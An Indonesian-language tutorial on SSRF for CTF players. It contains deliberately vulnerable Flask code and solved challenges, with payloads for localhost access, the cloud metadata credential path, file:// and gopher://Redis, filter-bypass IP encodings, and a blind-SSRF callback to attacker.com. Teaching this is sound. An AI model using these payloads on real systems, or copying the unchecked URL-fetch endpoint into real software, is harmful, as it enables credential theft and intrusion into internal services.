Apa itu Server-Side Request Forgery (SSRF)

SSRF (Server-Side Request Forgery) adalah celah keamanan dimana attacker membuat **server target** mengirim request ke alamat lain yang seharusnya tidak boleh diakses user biasa.

Intinya:

- Normalnya:

User → Website → Response

- Pada SSRF:

User → Website → Website mengakses URL lain → Response

Attacker “memanfaatkan server sebagai proxy”.

Cara Kerja SSRF

Misalnya ada fitur:

```
@app.route("/fetch")
def fetch():
    url = request.args.get("url")
    r = requests.get(url)
    return r.text
```

Website mengambil URL dari user lalu server melakukan request.

User normal:

/fetch?url=https://example.com

Tetapi attacker bisa:

/fetch?url=http://127.0.0.1/admin

Server akan mencoba membuka:

http://127.0.0.1/admin

Padahal localhost biasanya hanya boleh diakses internal.

Kenapa SSRF Berbahaya

SSRF bisa digunakan untuk:

- Mengakses localhost
- Scan port internal
- Mengambil metadata cloud
- Bypass firewall internal
- Mengakses admin panel internal
- Membaca service internal
- Kadang RCE (Remote Code Execution)

Target SSRF Umum di CTF

Biasanya SSRF dipakai untuk mengakses:

Target	Fungsi
127.0.0.1	localhost
localhost	internal service
169.254.169.254	metadata cloud AWS
10.x.x.x	internal network
192.168.x.x	LAN
file://	baca file lokal
gopher://	exploit service lain

Contoh Challenge SSRF CTF Jeopardy

Soal

Aplikasi Flask:

```
from flask import Flask, request
import requests

app = Flask(__name__)
```

```
@app.route("/")
def home():
    return '''
    <form action="/check">
        <input name="url">
        <input type="submit">
    </form>
    '''

@app.route("/check")
def check():
    url = request.args.get("url")

    r = requests.get(url)

    return r.text

@app.route("/flag")
def flag():
    if request.remote_addr == "127.0.0.1":
        return "Flag{SSRF_123}"
    else:
        return "Access denied"
```

Analisis Vulnerability

Endpoint:

/check?url=

membuat server melakukan request ke URL manapun.

Sedangkan:

/flag

hanya bisa diakses dari localhost.

Eksploitasi SSRF

Attacker kirim:

/check?url=http://127.0.0.1:5000/flag

Alur:

Attacker

↓

/check?url=http://127.0.0.1:5000/flag

Server Flask

↓

requests.get("http://127.0.0.1:5000/flag")

Karena request berasal dari localhost:

request.remote_addr == 127.0.0.1

Flag keluar

Output:

Flag{SSRF_123}

Diagram SSRF

[Attacker]

|

| 1. Kirim URL

v

[Web Server Vulnerable]

|

| 2. Server request internal

v

[Internal Service /flag]

|

| 3. Kirim flag

v

[Web Server]

|

| 4. Tampilkan ke attacker

v

[Attacker]

SSRF Blind

Kadang response tidak tampil.

Contoh:

requests.get(url)

return "Done"

Attacker tidak melihat hasil.

Ini disebut:

Blind SSRF

Tetapi attacker masih bisa:

- scan port
- trigger webhook
- ping attacker server

Contoh Blind SSRF CTF

User input:

http://attacker.com

Jika server melakukan request:

GET / HTTP/1.1

Host: attacker.com

Attacker tahu SSRF berhasil karena log masuk ke servernya.

SSRF untuk Port Scanning

Misalnya:

/check?url=http://127.0.0.1:22

Jika response timeout:

- port mungkin terbuka

Jika connection refused:

- port tertutup

CTF sering menggunakan teknik ini.

SSRF Metadata Cloud

Target terkenal:

http://169.254.169.254/latest/meta-data/

Pada cloud seperti Amazon Web Services, metadata bisa menyimpan:

- access token
- IAM credential
- instance info

Contoh:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

SSRF dengan file://

Kadang library mendukung:

file:///etc/passwd

Server membaca file lokal.

Contoh output:

root:x:0:0:root:/root:/bin/bash

SSRF dengan gopher://

Advanced SSRF.

Bisa kirim raw TCP packet.

Contoh:

gopher://127.0.0.1:6379/_INFO

Digunakan untuk exploit:

- Redis
- FastCGI
- SMTP
- Memcached

Biasanya kategori hard di CTF.

Filter Bypass SSRF

Developer kadang memblok:

```
if "127.0.0.1" in url:
    blocked
```

Bypass umum:

Menggunakan localhost alternatif

127.1

0.0.0.0

2130706433

0x7f000001

localhost

Bypass URL Encoding

http://127.0.0.1%2fadmin

Bypass DNS Rebinding

Domain:

evil.com

awalnya resolve ke IP publik lalu berubah ke localhost.

SSRF di Dunia Nyata

Kasus nyata sering terjadi di:

- image fetcher
- webhook
- PDF generator
- URL preview
- import from URL
- API fetcher

Contoh perusahaan yang pernah terdampak SSRF termasuk layanan cloud dan aplikasi web besar seperti Microsoft dan Google.

Cara Mencegah SSRF

1. Whitelist Domain

Hanya izinkan domain tertentu.

allowed = ["example.com"]

---

2. Block Internal IP

Blok:

- 127.0.0.1

- localhost
- 10.x.x.x
- 192.168.x.x

---

3. Disable Dangerous Scheme

Blok:

- file://
- gopher://
- ftp://

---

4. Gunakan Firewall

Pisahkan internal service.

Contoh Soal CTF SSRF Sederhana

Source Code

```
from flask import Flask, request
import requests

app = Flask(__name__)

FLAG = "Flag{Simple_SSRF}"

@app.route("/")
def home():
    return '''
    <form action="/visit">
        <input name="url">
        <input type="submit">
```

```
    </form>
    '''

@app.route("/visit")
def visit():
    url = request.args.get("url")

    if "127.0.0.1" in url:
        return "Blocked"

    return requests.get(url).text

@app.route("/admin")
def admin():
    if request.remote_addr == "127.0.0.1":
        return FLAG

    return "Forbidden"
```

Walkthrough Penyelesaian

Filter hanya memblok:

127.0.0.1

Bypass dengan:

http://2130706433:5000/admin

Karena:

2130706433 = 127.0.0.1

Exploit:

/visit?url=http://2130706433:5000/admin

Output:

Flag{Simple_SSRF}

Tingkatan SSRF di CTF

Level	Teknik
Easy	localhost access
Medium	filter bypass
Hard	blind SSRF
Expert	gopher SSRF
Insane	Redis/FastCGI chain

Tools untuk SSRF

Beberapa tools yang sering dipakai:

- Burp Suite
- ffuf
- Interactsh
- SSRFmap

Ringkasan SSRF

Konsep	Penjelasan
SSRF	Server dipaksa request URL lain
Tujuan	akses internal
Umum di CTF	localhost/admin
Teknik	bypass filter
Advanced	blind SSRF, gopher
Bahaya	internal access, cloud credential